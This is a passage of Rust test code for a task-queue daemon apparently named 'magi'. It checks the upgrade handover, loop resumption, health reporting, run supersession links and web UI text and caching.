14677        hand_over(home.path(), &looping, served, |_| Ok(1))
14678            .await
14679            .expect("hand over");
14680
14681        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14682        assert_eq!(
14683            after.stage,
14684            crate::updater::Stage::Restarting,
14685            "hand_over owns the record through parking and up to restarting; \
14686             the successor is what finishes it"
14687        );
14688    }
14689
14690    /// The successor is started exactly once on success, and exactly once on
14691    /// failure too (a failed start is reported, never retried).
14692    #[tokio::test]
14693    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14694        for fail in [false, true] {
14695            let home = TempDir::new().expect("temp home");
14696            let ui = idle_ui(&home);
14697            let looping = ui.looping();
14698            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14699                .await
14700                .expect("bind loopback");
14701            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14702            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14703            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14704
14705            let calls = std::sync::atomic::AtomicUsize::new(0);
14706            let outcome = hand_over(home.path(), &looping, served, |_| {
14707                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14708                if fail {
14709                    anyhow::bail!("no exec")
14710                } else {
14711                    Ok(4242)
14712                }
14713            })
14714            .await;
14715            assert_eq!(outcome.is_err(), fail);
14716            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14717
14718            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14719                .expect("upgrade.log is written under the home");
14720            for step in [
14721                "entered",
14722                "finish_loop",
14723                "listener released",
14724                "starting the successor",
14725            ] {
14726                assert!(log.contains(step), "missing `{step}` in:\n{log}");
14727            }
14728            assert!(
14729                log.contains(if fail { "did not start" } else { "pid 4242" }),
14730                "{log}"
14731            );
14732        }
14733    }
14734
14735    /// The handover signal is seen however the race falls, and wakes its one
14736    /// waiter once per signal - nothing here can spin.
14737    #[tokio::test]
14738    async fn the_handover_signal_wakes_one_waiter_once() {
14739        let signal = Notify::new();
14740        // Signalled before anyone waits: the stored permit is not lost.
14741        signal.notify_one();
14742        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14743            .await
14744            .expect("an early signal is still seen");
14745        // One signal, one wake-up: a second wait does not resolve by itself.
14746        assert!(
14747            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14748                .await
14749                .is_err(),
14750            "a consumed signal must not wake a second time"
14751        );
14752        // Signalled while waiting.
14753        let signal = std::sync::Arc::new(signal);
14754        let waiter = tokio::spawn({
14755            let signal = std::sync::Arc::clone(&signal);
14756            async move { wait_for_handover(&signal).await }
14757        });
14758        tokio::time::sleep(Duration::from_millis(20)).await;
14759        assert!(!waiter.is_finished(), "nothing was signalled yet");
14760        signal.notify_one();
14761        tokio::time::timeout(Duration::from_secs(5), waiter)
14762            .await
14763            .expect("a late signal wakes the waiter")
14764            .expect("join");
14765    }
14766
14767    #[tokio::test]
14768    async fn health_says_how_long_a_handover_has_been_stuck() {
14769        let fx = Fixture::start().await;
14770        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14771        progress.advance(crate::updater::Stage::Replaced);
14772        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14773        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14774
14775        let health = fx.get("/api/health").await.json();
14776        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14777        assert!(stuck >= 600, "{stuck}");
14778        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
14779        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14780    }
14781
14782    #[tokio::test]
14783    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
14784        let home = tempfile::tempdir().expect("temp home");
14785        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14786        progress.advance(crate::updater::Stage::Parking);
14787        crate::updater::write_progress(home.path(), &progress).expect("seed");
14788        // What the second upgrade_and_restart and its handler do.
14789        let mut again = progress.clone();
14790        again.advance(crate::updater::Stage::Replaced);
14791        crate::updater::write_progress(home.path(), &again).expect("replaced");
14792        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14793        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
14794        let after = crate::updater::read_progress(home.path()).expect("record");
14795        assert_eq!(after.stage, crate::updater::Stage::Parking);
14796    }
14797
14798    #[tokio::test]
14799    async fn health_does_not_call_a_live_parking_wait_stuck() {
14800        let fx = Fixture::start().await;
14801        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14802        progress.parked_run = Some("20260905-000000-cd51".to_owned());
14803        progress.advance(crate::updater::Stage::Parking);
14804        let hours = Duration::from_secs(3 * 3600);
14805        progress.started_at = Timestamp::now() - hours;
14806        progress.updated_at = Timestamp::now() - hours;
14807        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14808        let _lease = crate::updater::LeaseGuard::enter(
14809            fx.home.path(),
14810            Some("20260905-000000-cd51".to_owned()),
14811        );
14812
14813        let health = fx.get("/api/health").await.json();
14814        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
14815        assert!(health["upgrade"]["stuck_kind"].is_null());
14816        assert_eq!(health["upgrade"]["handover_alive"], true);
14817        let waiting_on = health["upgrade"]["waiting_on"]
14818            .as_str()
14819            .expect("waiting_on");
14820        assert!(waiting_on.contains("cd51"), "{waiting_on}");
14821    }
14822
14823    fn idle_ui(home: &TempDir) -> Ui {
14824        let runs = home.path().join("runs");
14825        std::fs::create_dir_all(&runs).expect("runs dir");
14826        Ui::new(
14827            Queue::at(home.path().join("queue")),
14828            Questions::at(home.path().join("questions")),
14829            Talks::at(home.path().join("talks")),
14830            runs,
14831            home.path().to_path_buf(),
14832            PathBuf::from("/repo/magi"),
14833        )
14834        .with_launch(launch_idle)
14835    }
14836
14837    /// Run `hand_over` against `ui` and return what the successor was told.
14838    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14839        let looping = ui.looping();
14840        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14841            .await
14842            .expect("bind loopback");
14843        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14844        let told = std::sync::Mutex::new(None);
14845        hand_over(home.path(), &looping, served, |resume| {
14846            *told.lock().unwrap() = Some(resume);
14847            Ok(1)
14848        })
14849        .await
14850        .expect("hand over");
14851        told.into_inner().unwrap().expect("successor was started")
14852    }
14853
14854    #[tokio::test]
14855    async fn a_running_loop_is_resumed_by_the_successor() {
14856        let home = TempDir::new().expect("temp home");
14857        let ui = idle_ui(&home);
14858        ui.start_loop(None).expect("start");
14859        ui.park_for_upgrade().expect("park");
14860        // The idle loop sees the park and ends before the handover fires.
14861        for _ in 0..500 {
14862            if !ui.loop_view(None).running {
14863                break;
14864            }
14865            tokio::time::sleep(Duration::from_millis(2)).await;
14866        }
14867        assert!(handed_over(&home, ui).await, "a running loop must resume");
14868
14869        let successor = idle_ui(&home);
14870        assert!(!successor.loop_view(None).running);
14871        assert!(successor.resume_after_handover(true));
14872        assert!(successor.loop_view(None).running);
14873        successor.stop_loop(None, false).expect("stop");
14874    }
14875
14876    #[tokio::test]
14877    async fn a_second_upgrade_request_keeps_the_resume_intent() {
14878        let home = TempDir::new().expect("temp home");
14879        let ui = idle_ui(&home);
14880        ui.start_loop(None).expect("start");
14881        ui.park_for_upgrade().expect("first park");
14882        ui.park_for_upgrade().expect("second park");
14883        assert!(handed_over(&home, ui).await);
14884    }
14885
14886    #[tokio::test]
14887    async fn a_stop_during_the_handover_wait_is_honoured() {
14888        let home = TempDir::new().expect("temp home");
14889        let ui = idle_ui(&home);
14890        ui.start_loop(None).expect("start");
14891        ui.park_for_upgrade().expect("park");
14892        ui.stop_loop(None, false).expect("stop");
14893        assert!(!handed_over(&home, ui).await);
14894    }
14895
14896    #[tokio::test]
14897    async fn an_idle_loop_stays_stopped_across_the_handover() {
14898        let home = TempDir::new().expect("temp home");
14899        let ui = idle_ui(&home);
14900        ui.park_for_upgrade().expect("park");
14901        assert!(!handed_over(&home, ui).await);
14902
14903        let successor = idle_ui(&home);
14904        assert!(!successor.resume_after_handover(false));
14905        assert!(!successor.loop_view(None).running);
14906    }
14907
14908    #[tokio::test]
14909    async fn a_loop_the_operator_stopped_is_not_resumed() {
14910        let home = TempDir::new().expect("temp home");
14911        let ui = idle_ui(&home);
14912        ui.start_loop(None).expect("start");
14913        ui.stop_loop(None, false).expect("stop");
14914        ui.park_for_upgrade().expect("park");
14915        assert!(!handed_over(&home, ui).await);
14916    }
14917
14918    #[test]
14919    fn only_an_explicit_one_requests_a_resume() {
14920        assert!(!resume_requested(None));
14921        assert!(!resume_requested(Some("0".into())));
14922        assert!(!resume_requested(Some("".into())));
14923        assert!(resume_requested(Some("1".into())));
14924    }
14925
14926    #[test]
14927    fn the_upgrade_button_arms_before_it_restarts_anything() {
14928        // It ends the process the operator is talking to, and a phone in a
14929        // pocket taps things. One tap arms, the second commits.
14930        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14931        assert!(APP_JS.contains("Replace the binary and restart?"));
14932        assert!(APP_JS.contains("function confirmed("));
14933        // Hidden when the loop is somebody else's, matching the 409 above -
14934        // and hidden with nothing to install, matching the 200 "already
14935        // current" branch: an operator on the newest build must not be
14936        // offered a restart that would only park a run for nothing.
14937        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14938        // A park waits for the node in flight, up to an hour for an implement
14939        // wave. Leaving the button reading "Upgrading…" for that long is the
14940        // same mistake as an error rendered off screen: it looks wedged.
14941        assert!(
14942            APP_JS.contains("Parking, then restarting"),
14943            "the button says what it is waiting for"
14944        );
14945        // And nothing to install must give the button back rather than
14946        // pretending a restart is coming.
14947        assert!(APP_JS.contains("if (!out.to)"));
14948    }
14949
14950    #[test]
14951    fn stopping_the_loop_arms_but_starting_does_not() {
14952        // A stray tap must not leave the queue stopped overnight, so a stop is
14953        // two taps through the same helper the upgrade uses; a start stays one.
14954        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14955        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14956        assert!(APP_JS.contains("confirmed(button, question)"));
14957        // The label put back on timeout is the one saved when arming, not a
14958        // hard-coded upgrade caption that would rename the stop button.
14959        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
14960        assert!(APP_JS.contains("const label = btn.textContent;"));
14961        assert!(!APP_JS.contains("Neither direction is guarded"));
14962    }
14963
14964    #[test]
14965    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14966        assert!(
14967            APP_JS.contains("state.health.version"),
14968            "the operator wants to know what is running even with nothing newer"
14969        );
14970        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14971    }
14972
14973    #[test]
14974    fn the_upgrade_button_names_its_destination() {
14975        assert!(
14976            APP_JS.contains("`Update to ${update.to}`"),
14977            "pressing the button should not be a surprise about what it moves to"
14978        );
14979    }
14980
14981    #[test]
14982    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14983        for stage in ["downloading", "replaced", "parking", "restarting"] {
14984            assert!(
14985                APP_JS.contains(&format!("\"{stage}\"")),
14986                "the phone must be able to tell {stage} apart from the others"
14987            );
14988        }
14989        assert!(APP_JS.contains(".waiting_on"));
14990        // What replaced the bare "Cannot reach magi: Failed to fetch": a
14991        // fetch failing while an upgrade is in flight is not an error, it is
14992        // the sub-second gap `bind_waiting` covers, and it must not be
14993        // reported as one.
14994        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14995        assert!(APP_JS.contains("reconnects on its own"));
14996    }
14997
14998    #[test]
14999    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15000        // `Stage::Failed` is terminal on the server and nothing clears it on
15001        // its own - not a fresh start, not time passing - so a full-strip
15002        // takeover for it (the way the busy stages take the strip over,
15003        // correctly, because those are transient) would have hidden
15004        // start/stop/park behind an upgrade notice with no way back short of
15005        // a person editing `upgrade.json` by hand or a later release
15006        // happening to succeed. The failure must instead ride along as a note
15007        // next to whatever control the loop's own state already offers.
15008        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15009            ..APP_JS.find("function upgrade(").expect("upgrade")];
15010        assert!(
15011            !body.contains(
15012                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
15013            ),
15014            "a failed upgrade must not take the whole strip over the way it used to"
15015        );
15016        assert!(
15017            body.contains("upgradeFailNote"),
15018            "the failure has to reach the loop's own note instead"
15019        );
15020        // `quiet` and `control` are the only two places `loop-why` is set from
15021        // this function's own state; both must carry the note through, or a
15022        // future edit to either one would silently drop it again.
15023        assert_eq!(
15024            body.matches("upgradeFailNote].filter(Boolean).join")
15025                .count(),
15026            2,
15027            "both loop-why writers (quiet and control) must fold the note in"
15028        );
15029    }
15030
15031    #[test]
15032    fn an_overdue_upgrade_eventually_asks_for_a_human() {
15033        // The ceiling has to clear a full hour-long park with room to spare,
15034        // or an ordinary implement wave would be reported as a stuck upgrade.
15035        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15036        assert!(APP_JS.contains("function upgradeOverdue("));
15037    }
15038
15039    #[test]
15040    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15041        assert!(
15042            APP_JS.contains("Updated to ${upgradeInfo.to"),
15043            "the operator who asked for the restart wants to know it worked"
15044        );
15045    }
15046
15047    #[test]
15048    fn an_error_is_visible_from_where_the_button_is() {
15049        // The alert used to sit in the flow under the header. On a phone
15050        // scrolled 13 500 px down to a run's action sheet that is off screen,
15051        // so tapping Resume and being told "the loop is running run b455
15052        // right now" looked exactly like a button that did nothing.
15053        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15054            ..APP_CSS.find(".alert-text").expect(".alert-text")];
15055        assert!(
15056            alert.contains("position: fixed"),
15057            "an error about the thing under your thumb has to be visible from \
15058             where your thumb is: {alert}"
15059        );
15060        assert!(
15061            alert.contains("z-index: 25"),
15062            "above the dock (20) and the run-actions FAB (15), so neither \
15063             buries it: {alert}"
15064        );
15065        assert!(
15066            alert.contains("var(--tap)"),
15067            "and clear of the dock and the home indicator: {alert}"
15068        );
15069        // The FAB sits at the same height on the right. An error that covered
15070        // it would hide the button the operator reaches for next.
15071        assert!(
15072            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15073            "the FAB's column stays free: {alert}"
15074        );
15075    }
15076
15077    #[tokio::test]
15078    async fn an_older_attempt_says_what_replaced_it() {
15079        let fx = Fixture::start().await;
15080        let q = fx.queue();
15081        let runs = fx.runs();
15082        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15083        write_run(&runs, first, RunStatus::Stalled);
15084        write_run(&runs, second, RunStatus::Blocked);
15085
15086        let mut t = Task::new(
15087            "one task".to_owned(),
15088            "do it".to_owned(),
15089            PathBuf::from("/repo"),
15090            Source::Human,
15091        );
15092        t.runs = vec![first.to_owned(), second.to_owned()];
15093        q.put(&mut t).expect("put");
15094
15095        // Two cards with the same title and no hint which is which was the
15096        // question: "why are there two of the same, one stalled and one
15097        // blocked?" The older one now names its replacement.
15098        let rows = fx.get("/api/runs").await.json();
15099        let by = |short: &str| -> Value {
15100            rows.as_array()
15101                .unwrap()
15102                .iter()
15103                .find(|r| r["short"] == short)
15104                .cloned()
15105                .unwrap_or(Value::Null)
15106        };
15107        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15108        assert!(
15109            by("bbbb")["superseded_by"].is_null(),
15110            "the latest attempt is not superseded by anything"
15111        );
15112        // Front end: the note has to be rendered, not just carried.
15113        assert!(APP_JS.contains("run.superseded_by"));
15114        assert!(APP_JS.contains("Superseded by"));
15115    }
15116
15117    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15118        let mut t = Task::new(
15119            "one task".to_owned(),
15120            "do it".to_owned(),
15121            PathBuf::from("/repo"),
15122            Source::Human,
15123        );
15124        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15125        t.status = status;
15126        t
15127    }
15128
15129    #[test]
15130    fn source_link_picks_the_page_that_filed_the_task() {
15131        let agent = |node: &str| Source::Agent {
15132            run: "20260904-014455-ab12".to_owned(),
15133            node: node.to_owned(),
15134        };
15135        let chat = source_link(&agent("chat")).expect("chat link");
15136        assert_eq!(chat.kind, "chat");
15137        assert_eq!(chat.id, "20260904-014455-ab12");
15138        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15139        let run = source_link(&agent("implement")).expect("run link");
15140        assert_eq!(
15141            (run.kind, run.href.as_str()),
15142            ("run", "#/runs/20260904-014455-ab12")
15143        );
15144        assert_eq!(source_link(&Source::Human), None);
15145        assert_eq!(
15146            source_link(&Source::Issue {
15147                number: 3,
15148                repo: "o/r".to_owned()
15149            }),
15150            None
15151        );
15152        let odd = source_link(&Source::Agent {
15153            run: "a b/c".to_owned(),
15154            node: "chat".to_owned(),
15155        })
15156        .expect("link");
15157        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15158    }
15159
15160    #[test]
15161    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15162        assert!(
15163            !APP_JS.contains("src.node === \"chat\""),
15164            "inline href rule is back"
15165        );
15166        assert!(
15167            APP_JS.matches("sourceLinkOf(").count() >= 4,
15168            "helper must serve every page"
15169        );
15170        assert!(
15171            APP_JS.matches("openChatLink(").count() >= 3,
15172            "the run page still needs its explicit chat link"
15173        );
15174        assert!(
15175            !APP_JS.contains("const openChat = el("),
15176            "the Queue card duplicates its source label link again"
15177        );
15178        assert!(
15179            APP_JS.contains("metaKids.push(link ? el(\"a\""),
15180            "the task page must link a chat source label too"
15181        );
15182    }
15183
15184    #[test]
15185    fn task_ref_carries_the_source_link_for_a_chat_task() {
15186        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15187        t.source = Source::Agent {
15188            run: "20260904-014455-ab12".to_owned(),
15189            node: "chat".to_owned(),
15190        };
15191        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15192        let v = serde_json::to_value(&out).expect("json");
15193        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15194        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15195        assert_eq!(v["source_label"], t.source.label());
15196
15197        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15198        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15199            .expect("json");
15200        assert!(v["source_link"].is_null(), "{v}");
15201    }
15202
15203    #[test]
15204    fn task_view_serializes_source_link() {
15205        let mut t = Task::new(
15206            "t".to_owned(),
15207            "t".to_owned(),
15208            PathBuf::from("/repo"),
15209            Source::Agent {
15210                run: "20260901-000000-aaaa".to_owned(),
15211                node: "implement".to_owned(),
15212            },
15213        );
15214        t.runs.clear();
15215        let v = serde_json::to_value(TaskView::from(t)).expect("json");
15216        assert_eq!(v["source_link"]["kind"], "run", "{v}");
15217        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15218    }
15219
15220    #[tokio::test]
15221    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15222        let fx = Fixture::start().await;
15223        let runs = fx.runs();
15224        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15225        write_run(&runs, old, RunStatus::Blocked);
15226        write_run(&runs, new, RunStatus::Merged);
15227        let mut t = outcome_task(&[old, new], TaskStatus::Done);
15228        fx.queue().put(&mut t).expect("put");
15229
15230        let view = fx.get(&format!("/api/runs/{old}")).await.json();
15231        let task = &view["task"];
15232        assert_eq!(task["status"], "done");
15233        assert_eq!(task["is_latest"], false);
15234        assert_eq!(task["latest"]["short"], "bbbb");
15235        assert_eq!(task["finished_by"]["id"], new);
15236        assert_eq!(task["finished_by"]["outcome"], "merged");
15237        assert_eq!(task["closed_by_hand"], false);
15238        assert_eq!(view["status"], "blocked", "the run keeps its own status");
15239        assert!(APP_JS.contains("finished_by"));
15240        assert!(APP_JS.contains("superseded by run"));
15241    }
15242
15243    #[tokio::test]
15244    async fn the_latest_run_reports_a_held_task_without_a_successor() {
15245        let fx = Fixture::start().await;
15246        let runs = fx.runs();
15247        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15248        write_run(&runs, old, RunStatus::Stalled);
15249        write_run(&runs, new, RunStatus::Blocked);
15250        let mut t = outcome_task(&[old, new], TaskStatus::Held);
15251        fx.queue().put(&mut t).expect("put");
15252
15253        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15254        assert_eq!(task["status"], "held");
15255        assert_eq!(task["is_latest"], true);
15256        assert!(task["latest"].is_null());
15257        assert!(task["finished_by"].is_null());
15258        assert_eq!(task["closed_by_hand"], false);
15259    }
15260
15261    #[tokio::test]
15262    async fn a_direct_run_has_no_task_outcome() {
15263        let fx = Fixture::start().await;
15264        let runs = fx.runs();
15265        let id = "20260901-000000-aaaa";
15266        write_run(&runs, id, RunStatus::Blocked);
15267        let view = fx.get(&format!("/api/runs/{id}")).await.json();
15268        assert!(view["task"].is_null());
15269    }
15270
15271    #[test]
15272    fn task_outcome_does_not_guess_a_finishing_run() {
15273        let a = "20260901-000000-aaaa";
15274        let b = "20260901-000000-bbbb";
15275        let c = "20260901-000000-cccc";
15276        let dir = tempfile::tempdir().expect("tempdir");
15277        write_run(dir.path(), a, RunStatus::Blocked);
15278        write_run(dir.path(), b, RunStatus::VerifiedNoop);
15279        // `c` has no record: unreadable.
15280        let read = |id: &str| read_run(dir.path(), id).ok();
15281        // Neither a blocked run nor a no-op finished the task; the newest run is
15282        // unreadable and still named.
15283        let t = outcome_task(&[a, b, c], TaskStatus::Done);
15284        let out = task_outcome(&t, a, 3, read);
15285        assert!(out.finished_by.is_none());
15286        assert!(out.closed_by_hand);
15287        let latest = out.latest.expect("latest");
15288        assert_eq!(latest.id, c);
15289        assert_eq!(latest.status, None);
15290        assert_eq!(latest.outcome, "record unreadable");
15291
15292        // A Ready run settles the task as done, so it is named as the finisher.
15293        write_run(dir.path(), c, RunStatus::Ready);
15294        let t = outcome_task(&[a, c], TaskStatus::Done);
15295        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15296        assert_eq!(out.finished_by.expect("finisher").id, c);
15297        assert!(!out.closed_by_hand);
15298
15299        // A resumed run id repeats: it is still the latest by id.
15300        let t = outcome_task(&[a, b, a], TaskStatus::Held);
15301        assert!(task_outcome(&t, a, 3, read).is_latest);
15302    }
15303
15304    #[tokio::test]
15305    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15306        // The list route has known this since the card fix above; the detail
15307        // route — what an operator actually opens from a notification about
15308        // a blocked run — did not, and went on showing a bare red BLOCKED
15309        // chip for a run a retry had already finished.
15310        let fx = Fixture::start().await;
15311        let q = fx.queue();
15312        let runs = fx.runs();
15313        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15314        write_run(&runs, first, RunStatus::Blocked);
15315        write_run(&runs, second, RunStatus::Merged);
15316
15317        let mut t = Task::new(
15318            "one task".to_owned(),
15319            "do it".to_owned(),
15320            PathBuf::from("/repo"),
15321            Source::Human,
15322        );
15323        t.runs = vec![first.to_owned(), second.to_owned()];
15324        q.put(&mut t).expect("put");
15325
15326        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15327        assert_eq!(earlier["superseded_by"], "dddd");
15328        assert_eq!(earlier["latest_attempt"]["id"], second);
15329        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15330        assert_eq!(
15331            earlier["latest_attempt"]["resolved"], true,
15332            "the run that replaced it landed, so this one reads as settled"
15333        );
15334
15335        let later = fx.get(&format!("/api/runs/{second}")).await.json();
15336        assert!(
15337            later["superseded_by"].is_null(),
15338            "the latest attempt is not superseded by anything"
15339        );
15340        assert!(
15341            later["latest_attempt"].is_null(),
15342            "the latest attempt has no later attempt of its own"
15343        );
15344
15345        // Front end: the detail page has to read the field this route now
15346        // carries, downgrade the chip, and link to the run that replaced it —
15347        // not just repeat the list card's own logic under a different name.
15348        // The link is built off `latest_attempt.id`, the server-resolved
15349        // full id, never a bare short string a client would have to guess a
15350        // full run from.
15351        assert!(APP_JS.contains("run.latest_attempt"));
15352        assert!(APP_JS.contains("data-superseded"));
15353        assert!(APP_JS.contains("#/runs/${latest.id}"));
15354    }
15355
15356    #[tokio::test]
15357    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15358        // A -> B -> C, all Blocked except the last. A's immediate successor
15359        // (superseded_by) is B, which is itself unresolved; what an operator
15360        // opening A's page actually needs is where the task's story stands
15361        // *now* - C, not B - without depending on whether C happens to be in
15362        // whatever page of /api/runs the client last cached.
15363        let fx = Fixture::start().await;
15364        let q = fx.queue();
15365        let runs = fx.runs();
15366        let (a, b, c) = (
15367            "20260901-000000-aaaa",
15368            "20260901-000000-bbbb",
15369            "20260901-000000-cccc",
15370        );
15371        write_run(&runs, a, RunStatus::Blocked);
15372        write_run(&runs, b, RunStatus::Blocked);
15373        write_run(&runs, c, RunStatus::Merged);
15374
15375        let mut t = Task::new(
15376            "retried twice".to_owned(),
15377            "do it".to_owned(),
15378            PathBuf::from("/repo"),
15379            Source::Human,
15380        );
15381        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15382        q.put(&mut t).expect("put");
15383
15384        let view = fx.get(&format!("/api/runs/{a}")).await.json();
15385        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15386        assert_eq!(
15387            view["latest_attempt"]["id"], c,
15388            "the chain's current head, not the intermediate Blocked retry"
15389        );
15390        assert_eq!(view["latest_attempt"]["resolved"], true);
15391
15392        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15393        assert_eq!(mid["latest_attempt"]["id"], c);
15394        assert_eq!(mid["latest_attempt"]["resolved"], true);
15395    }
15396
15397    #[tokio::test]
15398    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15399        let fx = Fixture::start().await;
15400        let q = fx.queue();
15401        let runs = fx.runs();
15402
15403        // Still Blocked: the task is not resolved, so the older run must not
15404        // read as settled either.
15405        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15406        write_run(&runs, still_blocked_a, RunStatus::Blocked);
15407        write_run(&runs, still_blocked_b, RunStatus::Blocked);
15408        let mut t1 = Task::new(
15409            "still stuck".to_owned(),
15410            "do it".to_owned(),
15411            PathBuf::from("/repo"),
15412            Source::Human,
15413        );
15414        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15415        q.put(&mut t1).expect("put");
15416        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15417        assert_eq!(view1["latest_attempt"]["resolved"], false);
15418        assert_eq!(view1["latest_attempt"]["status"], "blocked");
15419        assert_eq!(view1["latest_attempt"]["done"], true);
15420
15421        // Still running: the successor exists and must be reported as such.
15422        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15423        write_run(&runs, run_a, RunStatus::Blocked);
15424        write_run(&runs, run_b, RunStatus::Implementing);
15425        let mut t3 = Task::new(
15426            "retrying".to_owned(),
15427            "do it".to_owned(),
15428            PathBuf::from("/repo"),
15429            Source::Human,
15430        );
15431        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15432        q.put(&mut t3).expect("put");
15433        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15434        assert_eq!(view3["latest_attempt"]["id"], run_b);
15435        assert_eq!(view3["latest_attempt"]["resolved"], false);
15436        assert_eq!(view3["latest_attempt"]["done"], false);
15437
15438        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
15439        // to check - not a confirmed finish, so this must not read as
15440        // resolved either, even though the run is done in the sense that
15441        // nothing is still running.
15442        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15443        write_run(&runs, noop_a, RunStatus::Blocked);
15444        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15445        let mut t2 = Task::new(
15446            "claims done".to_owned(),
15447            "do it".to_owned(),
15448            PathBuf::from("/repo"),
15449            Source::Human,
15450        );
15451        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15452        q.put(&mut t2).expect("put");
15453        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15454        assert_eq!(
15455            view2["latest_attempt"]["resolved"], false,
15456            "an unverified no-op claim must not read as a confirmed finish"
15457        );
15458
15459        // Front end: an unresolved successor must not carry the "finished
15460        // this work" note or the muted chip treatment.
15461        assert!(APP_JS.contains("latest.resolved"));
15462        // ...but the link to it shows as soon as it exists, labelled by state
15463        // and without the "finished" wording or the muted chip.
15464        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15465        assert!(APP_JS.contains("Latest attempt: "));
15466        assert!(APP_JS.contains("in flight"));
15467        assert!(APP_JS.contains("not resolved"));
15468    }
15469
15470    #[tokio::test]
15471    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15472        let fx = Fixture::start().await;
15473        // No cache header at all meant browsers invented their own policy,
15474        // and one did: a phone went on showing "Candidates must be folded
15475        // before deleting. Run `magi fold` first." - deleted two releases
15476        // earlier - from a deck that no longer contained the sentence. The
15477        // button it named was right there, and unreachable.
15478        let js = fx.get("/app.js").await;
15479        assert_eq!(js.status, 200);
15480        let tag = js
15481            .header("etag")
15482            .expect("an etag to revalidate against")
15483            .to_owned();
15484        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15485        assert_eq!(
